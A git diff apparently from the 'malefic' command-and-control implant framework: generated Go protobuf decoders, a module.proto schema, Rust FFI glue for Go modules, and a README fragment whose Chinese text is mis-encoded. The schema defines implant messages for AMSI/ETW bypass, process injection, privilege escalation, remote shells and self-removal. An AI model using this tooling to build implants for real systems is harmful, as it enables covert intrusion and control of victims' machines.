stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Shell = stringValue + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cols", wireType) + } + m.Cols = 0 + m.Cols, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Rows", wireType) + } + m.Rows = 0 + m.Rows, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field InputData", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.InputData = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field InputText", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.InputText = stringValue + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PtyResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PtyResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PtyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionId", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.SessionId = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputData", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.OutputData = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputText", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.OutputText = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Error = stringValue + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionActive", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.SessionActive = bool(v != 0) + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ActiveSessions", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ActiveSessions = append(m.ActiveSessions, stringValue) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Metadata", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Metadata == nil { + m.Metadata = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Metadata[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *CommonBody) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: CommonBody: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: CommonBody: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType == 0 { + var v uint32 + v, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + m.U32Array = append(m.U32Array, v) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + var count int + for _, integer := range dAtA[iNdEx:postIndex] { + if integer < 128 { + count++ + } + } + elementCount = count + if elementCount != 0 && len(m.U32Array) == 0 { + m.U32Array = make([]uint32, 0, elementCount) + } + for iNdEx < postIndex { + var v uint32 + v, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + m.U32Array = append(m.U32Array, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field U32Array", wireType) + } + case 4: + if wireType == 0 { + var v uint64 + v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + m.U64Array = append(m.U64Array, v) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + var count int + for _, integer := range dAtA[iNdEx:postIndex] { + if integer < 128 { + count++ + } + } + elementCount = count + if elementCount != 0 && len(m.U64Array) == 0 { + m.U64Array = make([]uint64, 0, elementCount) + } + for iNdEx < postIndex { + var v uint64 + v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + m.U64Array = append(m.U64Array, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field U64Array", wireType) + } + case 6: + if wireType == 0 { + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BoolArray = append(m.BoolArray, bool(v != 0)) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + elementCount = packedLen + if elementCount != 0 && len(m.BoolArray) == 0 { + m.BoolArray = make([]bool, 0, elementCount) + } + for iNdEx < postIndex { + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BoolArray = append(m.BoolArray, bool(v != 0)) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field BoolArray", wireType) + } + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StringArray", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.StringArray = append(m.StringArray, stringValue) + iNdEx = postIndex + case 10: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field BytesArray", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.BytesArray = append(m.BytesArray, dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.proto b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.proto new file mode 100644 index 0000000..6e73d4f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.proto @@ -0,0 +1,483 @@ +syntax = "proto3"; +package malefic; + +option go_package = "./malefic"; + + +message Ping{ + int32 nonce = 1; +} + +message Register { + string name = 1; + string proxy = 2; + repeated string module = 3; + repeated Addon addons = 4; + Timer timer = 5; + SysInfo sysinfo = 11; + Secure secure = 12; // Implant's public key, used by server to encrypt data +} + +message Secure{ + bool enable = 1; + string key = 2; // encryption key + string type = 3; // encryption type + string public_key = 4; // Implant's public key, used by server to encrypt data +} + + +// Age key exchange related messages +message KeyExchangeRequest { + string public_key = 1; // Temporary public key (Age X25519) + bytes signature = 2; // Signature of temporary public key + uint64 timestamp = 3; // Timestamp + string nonce = 4; // Nonce +} + +message KeyExchangeResponse { + string public_key = 1; // Server temporary public key +} + +message Init{ + bytes data = 1; +} + +message SysInfo { + string filepath = 1; + string workdir = 2; + bool is_privilege = 3; + Os os = 11; + Process process = 12; +} + +message Suicide { + int32 type = 1; + int64 timestamp = 2; +} + + +// common empty request +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array =4; +} + + +message BypassRequest{ + bool ETW = 1; + bool AMSI = 2; + bool block_dll = 3; +} + +message NetInterface { + int32 index = 1; + string name = 2; + string mac = 3; + repeated string ip_addresses = 4; +} + +message SockTabEntry { + string local_addr = 1; + string remote_addr = 2; + string skState = 3; + // uint32 uid = 4; + string pid = 5; + string protocol = 6; +} + +message NetstatResponse { + repeated SockTabEntry socks = 1; +} + + +message Block{ + uint32 block_id = 1; + bytes content = 2; + bool end = 3; +} + +message ACK { + uint32 id = 1; + bool success = 2; + bool end = 3; +} + +message Os { + string name = 1; + string version = 2; // kernel version + string release = 3; // release version + string arch = 4; + string username = 5; + string hostname = 6; + string locale = 7; // timezone + repeated string clr_version = 8; +} + +message Process { + string name = 1; + uint32 pid = 2; + uint32 ppid = 3; + string owner = 4; + string arch = 5; + string path = 6; + string args = 7; + string uid = 8; +} + +message Timer { + string expression = 1; + double jitter = 2; +} + +message FileInfo { + string Name = 1; + bool IsDir = 2; + uint64 Size = 3; + int64 ModTime = 4; + uint32 Mode = 5; + string Link = 6; +} + +message SacrificeProcess { + bool hidden = 1; + bool block_dll = 2; + bool etw = 3; + uint32 ppid = 4; + string argue = 5; +} + +message LsResponse { + string Path = 1; + bool Exists = 2; + repeated FileInfo Files = 3; +} + +message DriveInfo { + string path = 1; // "C:\\" + string drive_type = 2; // "Fixed drive" + uint64 total_size = 3; // + uint64 free_size = 4; // + string file_system = 5; // "NTFS" +} + +message EnumDriversResponse { + repeated DriveInfo drives = 1; +} + +message PsResponse{ + repeated Process processes = 1; +} + +message ExecRequest { + string path = 1; + repeated string args = 2; + bool output = 3; + bool singleton = 4; + bool realtime = 5; + uint32 ppid = 10; +} + +message ExecResponse { + int32 status_code = 1; + bytes stdout = 2; + bytes stderr = 3; + uint32 pid = 4; + bool end = 5; +} + +message BinaryResponse { + bytes data = 1; // common return, bof BeaconOutput + bytes message = 2; // bof BeaconPrintf + string err = 4; + int32 status = 3; +} + +message Modules { + repeated string modules = 1; + map bundle_map = 2; +} + + +message Addons { + repeated Addon addons = 1; +} + +message Addon { + string name = 1; + string type = 2; + string depend = 3; +} + +message LoadModule{ + string bundle = 1; + bytes bin = 2; +} + +message LoadAddon{ + string name = 1; + string type = 2; + string depend = 3; + bytes bin = 4; +} + +message ExecuteAddon { + string addon = 1; + ExecuteBinary execute_binary = 2; +} + +message ExecuteBinary { + string name = 1; + bytes bin = 2; + map param = 3; + string type = 4; + string process_name = 5; + repeated string args = 6; + string entry_point = 7; + bytes data = 8; + bool output = 9; + uint32 arch = 10; + uint32 timeout = 11; + SacrificeProcess sacrifice = 12; + string path = 13; + string context = 14; + uint32 delay = 15; //millisecond +} + +message ExecuteCommand { + string command = 1; + SacrificeProcess sacrifice = 2; +} + +message UploadRequest { + string name = 1; + string target = 2; + uint32 priv = 3; + bytes data = 4; + bool hidden = 5; + bool override = 6; +} + +message DownloadRequest { + string path = 1; + string name = 2; + uint32 buffer_size = 3; + bool dir = 4; + int32 cur = 5; +} + +message DownloadResponse{ + string checksum = 1; + uint64 size = 2; + int32 cur = 3; + bytes content = 4; +} + +message CurlRequest{ + string url = 1; + int32 timeout = 2; + string method = 3; + bytes body = 4; + map header =5; + string hostname = 6; +} + +message ChownRequest{ + string path = 1; + string uid = 2; + string gid = 3; + bool recursive = 4; +} + +message IfconfigResponse { + repeated NetInterface net_interfaces = 1; +} + +// wrap for client +message RegistryRequest { + string type = 1; + Registry registry = 2; +} + +message Registry { + string hive = 1; + string path = 2; + string key = 3; +} + +message RegistryWriteRequest { + string hive = 1; + string path = 2; + string key = 3; + string string_value = 5; + bytes byte_value = 6; + uint32 dword_value = 7; + uint64 qword_value = 8; + uint32 regtype = 10; +} + +message TaskScheduleRequest { + string type = 1; + TaskSchedule taskschd = 2; +} + +message TaskSchedule { + string name = 1; + string path = 2; + string executable_path = 3; + uint32 trigger_type = 4; + string start_boundary = 5; + string description = 6; + bool enabled = 7; + string last_run_time = 8; + string next_run_time = 9; +} + + +message TaskSchedulesResponse { + repeated TaskSchedule schedules = 1; +} + +// wrap for client +message ServiceRequest { + string type = 1; + ServiceConfig service = 2; +} + +message ServiceConfig { + string name = 1; + string display_name = 2; + string executable_path = 3; + uint32 start_type = 4; + uint32 error_control = 5; + string account_name = 6; +} + +message ServiceStatus { + uint32 current_state = 1; + uint32 process_id = 2; + uint32 exit_code = 3; + uint32 checkpoint = 4; + uint32 wait_hint = 5; +} + +message Service { + ServiceConfig config = 1; + ServiceStatus status = 2; +} + +message ServicesResponse { + repeated Service services = 1; +} + +message WmiQueryRequest { + string namespace = 1; + repeated string args = 2; +} + +message WmiMethodRequest { + string namespace = 1; + string class_name = 2; + string method_name = 3; + map params = 4; +} + +message RunAsRequest { + string username = 1; // Username to execute as + string domain = 2; // User domain + string password = 3; // User password + string program = 4; // Program path + string args = 5; // Program arguments (optional) + bool use_profile = 6; + bool netonly = 7; // Use network credentials only (optional, default false) + bool use_env = 8; +} + +message GetSystem{ + bytes bin = 1; + uint32 pid = 2; +} + +message Inject{ + bytes bin = 1; + uint32 pid = 2; +} + +message Pipe { + string name = 1; + string target = 2; + bytes data = 4; +} + +message PipeRequest { + string type = 1; + Pipe pipe = 2; +} + +message Switch { + repeated string urls = 1; +} + +message TaskCtrl{ + uint32 task_id = 1; + string op = 2; +} + +message TaskInfo { + uint32 task_id = 1; + uint64 last = 2; + uint32 recv_count = 3; + uint32 send_count = 4; +} + +message TaskListResponse { + repeated TaskInfo tasks = 1; +} + +message FFmpegRequest { + string action = 1; + string device_name = 2; + string output_format = 3; + string output_path = 4; + string time = 5; +} + +// PTY +message PtyRequest { + string type = 1; // type: "start", "input", "stop" + string session_id = 2; // + string shell = 3; // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + uint32 cols = 4; // + uint32 rows = 5; // + bytes input_data = 6; // + string input_text = 7; // + map params = 8; // +} + +message PtyResponse { + string session_id = 1; // Session ID + bytes output_data = 2; // Output data (binary) + string output_text = 3; // Output data (text) + string error = 4; // Error message + bool session_active = 5; // Whether session is still active + repeated string active_sessions = 6; + map metadata = 7; +} + +message CommonBody { + string name = 1; + repeated uint32 u32_array = 2; + repeated uint64 u64_array = 4; + repeated bool bool_array = 6; + repeated string string_array = 8; + repeated bytes bytes_array = 10; +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/lib.rs b/malefic-3rd-template/malefic-3rd-go/src/lib.rs new file mode 100644 index 0000000..78ec616 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/lib.rs @@ -0,0 +1,122 @@ +use malefic_3rd_ffi::*; +use std::ffi::{c_char, c_int, c_uint}; + +extern "C" { + fn GoModuleName() -> *const c_char; + fn GoModuleSend(task_id: c_uint, data: *const c_char, data_len: c_int) -> c_int; + fn GoModuleRecv(task_id: c_uint, out_len: *mut c_int, status: *mut c_int) -> *mut c_char; + fn GoModuleCloseInput(task_id: c_uint); +} + +fn go_send(id: u32, data: &[u8]) -> Result<(), String> { + let rc = unsafe { + GoModuleSend(id as c_uint, data.as_ptr() as *const c_char, data.len() as c_int) + }; + if rc != 0 { + Err(format!("GoModuleSend failed (task {})", id)) + } else { + Ok(()) + } +} + +fn go_recv_blocking(id: u32) -> Result>, String> { + let mut out_len: c_int = 0; + let mut status: c_int = 0; + let ptr = unsafe { GoModuleRecv(id as c_uint, &mut out_len, &mut status) }; + match status { + 0 => { + if ptr.is_null() { + return Err("GoModuleRecv returned null with status 0".into()); + } + let buf = unsafe { FfiBuffer::new(ptr, out_len as usize) }; + Ok(Some(buf.as_bytes().to_vec())) + } + 1 => Ok(None), // done + _ => Err(format!("GoModuleRecv error (status={})", status)), + } +} + +pub struct GolangModule { + name: String, +} + +impl RtModule for GolangModule { + fn name() -> &'static str { "example_go" } + + fn new() -> Self { + let name = unsafe { ffi_module_name(GoModuleName, true) }; + Self { name } + } + + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + let mut last_response: Option = None; + + // Process incoming requests synchronously. + // Since run() is already blocking, no need for threads or async. + loop { + let body = match ch.recv() { + Ok(b) => b, + Err(RtChannelError::Eof) => { + // Input closed — close Go input and drain remaining responses. + unsafe { GoModuleCloseInput(id as c_uint) }; + // Drain any remaining Go responses. + loop { + match go_recv_blocking(id) { + Ok(Some(resp_bytes)) => { + if let Ok(response) = decode_response(&resp_bytes) { + if let Some(prev) = last_response.take() { + if ch.send(prev).is_err() { break; } + } + last_response = Some(Body::Response(response)); + } + } + _ => break, + } + } + break; + } + Err(e) => return RtResult::Error(e.to_string()), + }; + + match body { + Body::Request(request) => { + // Encode and send to Go. + let buf = match encode_request(&request) { + Ok(b) => b, + Err(e) => return RtResult::Error(format!("encode: {}", e)), + }; + if let Err(e) = go_send(id, &buf) { + return RtResult::Error(e); + } + + // Receive response from Go (blocking). + match go_recv_blocking(id) { + Ok(Some(resp_bytes)) => { + let response = match decode_response(&resp_bytes) { + Ok(r) => r, + Err(e) => return RtResult::Error(format!("decode: {}", e)), + }; + // Buffer: send previous result, store current. + if let Some(prev) = last_response.take() { + if ch.send(prev).is_err() { break; } + } + last_response = Some(Body::Response(response)); + } + Ok(None) => break, // Go module done + Err(e) => return RtResult::Error(e), + } + } + _ => { + // Non-request body — close Go input. + unsafe { GoModuleCloseInput(id as c_uint) }; + break; + } + } + } + + match last_response { + Some(body) => RtResult::Done(body), + None => RtResult::Error("Go module produced no output".into()), + } + } +} diff --git a/malefic-3rd-template/malefic-3rd-nim/Cargo.toml b/malefic-3rd-template/malefic-3rd-nim/Cargo.toml new file mode 100644 index 0000000..bde44f1 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "malefic-3rd-nim" +version = "0.1.0" +edition = "2021" + +build = "build.rs" + +[lib] +name = "malefic_3rd_nim" +path = "src/lib.rs" + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } + +[build-dependencies] +cc = "1" diff --git a/malefic-3rd-template/malefic-3rd-nim/README.md b/malefic-3rd-template/malefic-3rd-nim/README.md new file mode 100644 index 0000000..8c3767f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/README.md @@ -0,0 +1,90 @@ +# malefic-3rd-nim + +Nim 语言模å—,通过 `{.importc.}` pragma 导入 nanopb C å‡½æ•°ï¼Œç¼–è¯‘ä¸ºé™æ€åº“åŽé“¾æŽ¥ã€‚ + +## å‰ç½®è¦æ±‚ + +- [Nim](https://nim-lang.org/install.html) 2.0+(需在 PATH 中) +- MinGW-w64 GCC(Nim çš„ `--cc:gcc` åŽç«¯ï¼‰ + +## 目录结构 + +``` 